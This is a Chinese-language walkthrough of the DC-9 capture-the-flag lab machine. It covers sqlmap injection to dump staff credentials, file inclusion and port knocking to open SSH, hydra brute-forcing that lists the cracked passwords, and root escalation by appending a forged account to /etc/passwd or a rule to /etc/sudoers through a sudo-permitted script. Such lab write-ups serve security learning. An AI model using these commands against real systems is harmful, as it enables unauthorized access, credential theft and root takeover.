DC-9
攻击 192.168.0.105 靶机 192.168.0.114 开了个80 打开网址看看 search存在sql注入
抓包sqlmap扫一下 一个库一个表一个列搜 有好多普通账号 都是进不去的 最后 sqlmap -r /1.txt -p search -D Staff -T Users --dump 密码是hash加密后的,解密一下 管理员账号:admin
管理员密码:transorbital1
管理员登录
可以看到页面下面出现File does not exist的提示,感觉很有可能就是LFI(本地文件包含) 但是此时我们并不知道参数是多少,这里同样用wfuzz尝试进行遍历(注意这里用把登录之后的cookies也要写上,否则网页会提示你要登录) 查看cookies的话可以浏览器直接查看,也可以让wfuzz把请求发给burp进行 wfuzz指令 fuzz记得改为file 然后我们通过/proc/sched_debug 来查看Linux系统中任务的调度情况
整理查询发现靶机上运行这knockd 原来需要敲击完knockd提供的所有端口,然后即可打开ssh通道 那么我们读取下knocked的配置文件:
这里提供2种敲击方法:nc、nmap for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.0.114;done for x in 7469 8475 9842 22 ;do nc 192.168.0.114 $x;done 值得注意的是 knockd敲击每次使用结束后关门会把端口顺序反转 比如这次连接需要敲击7469 8475 9842端口,关闭就需要敲击 9842 8475 7469端口
连接ssh试试 此时SSH就可以正常连接,接下来我们用hydra来进行爆破,用户名和密码就是我们先前SQL注入获得的 hydra -L username -P password ssh://192.168.0.114 [22][ssh] host: 192.168.0.114 login: janitor password: Ilovepeepee
[22][ssh] host: 192.168.0.114 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.0.114 login: chandlerb password: UrAG0D! 然后我们对这几个账号都尝试进行登录 只有janitor的家目录存在一个名为.secrets-for-putin的文件夹,并且在其中又得到一些密码 使用爆破出来的用户登录,然后查看文件ls -la(可查看隐藏目录文件),在用户janitor中发现隐藏的secrets-for-putin目录,里面含有密码passwords-found-on-post-it-notes.txt,查看后是:
增加在pass.txt后重新进行爆破: hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.0.114 ssh 多了一个fredf用户 login: fredf password: B4‐Tru3‐001 sudo -l 看这个用户可以越权执行的文件 可以看到fredf可以不用密码以root权限执行 /opt/devstuff/dist/test/test的文件
是个python文件, 可以在上级目录找到同名的 test.py 然后cat下内容
脚本的作用就是将第一个文件的内容附加到另一个文件里面去 提权:两个方法 1.构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了 使用openssl生成: openssl passwd ‐1 ‐salt 123456 cd //-salt:自动插入一个随机数作为文件内容加密,默认选项
cd 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash 写入到tmp目录下的paswd中: echo 'cd 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd
执行test:在/opt/devstuff/dist/test下执行(因为这里才有权限) sudo ./test /tmp/passwd /etc/passwd(之前说过test是个可执行文件) 账号密码就是cd:cd了
值得一提的是 1.如果openssl passwd -1 -salt cd wd 这样的话 账号密码就是cd:wd 而 2.openssl passwd ‐1 ‐salt 123456 cd 中123456不能作为用户名,而作为随机数 导致账号密码变为cd:cd 所以使用opssl加密的话 还是i两个全英文比较好 后来看了下 其实不是这样 1的cd和2的123456都是随机数,而后面的wd和cd才是密码 而用户名是 echo 'cd 1$123456$UqyTmknvIFs28E/L2MItY0:0:0::/root:/bin/bash' > /tmp/passwd 的第一个cd= = 我是真的蠢 方法二:往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命 随便创建/dev/shm/asd,内容如下: joeyt ALL=(ALL) ALL //因为joeyt为已知用户 然后执行 sudo /opt/devstuff/dist/test/test /dev/shm/asd /etc/sudoers 图片如下 然后登陆joeyt,然后切换成root身份,get flag
|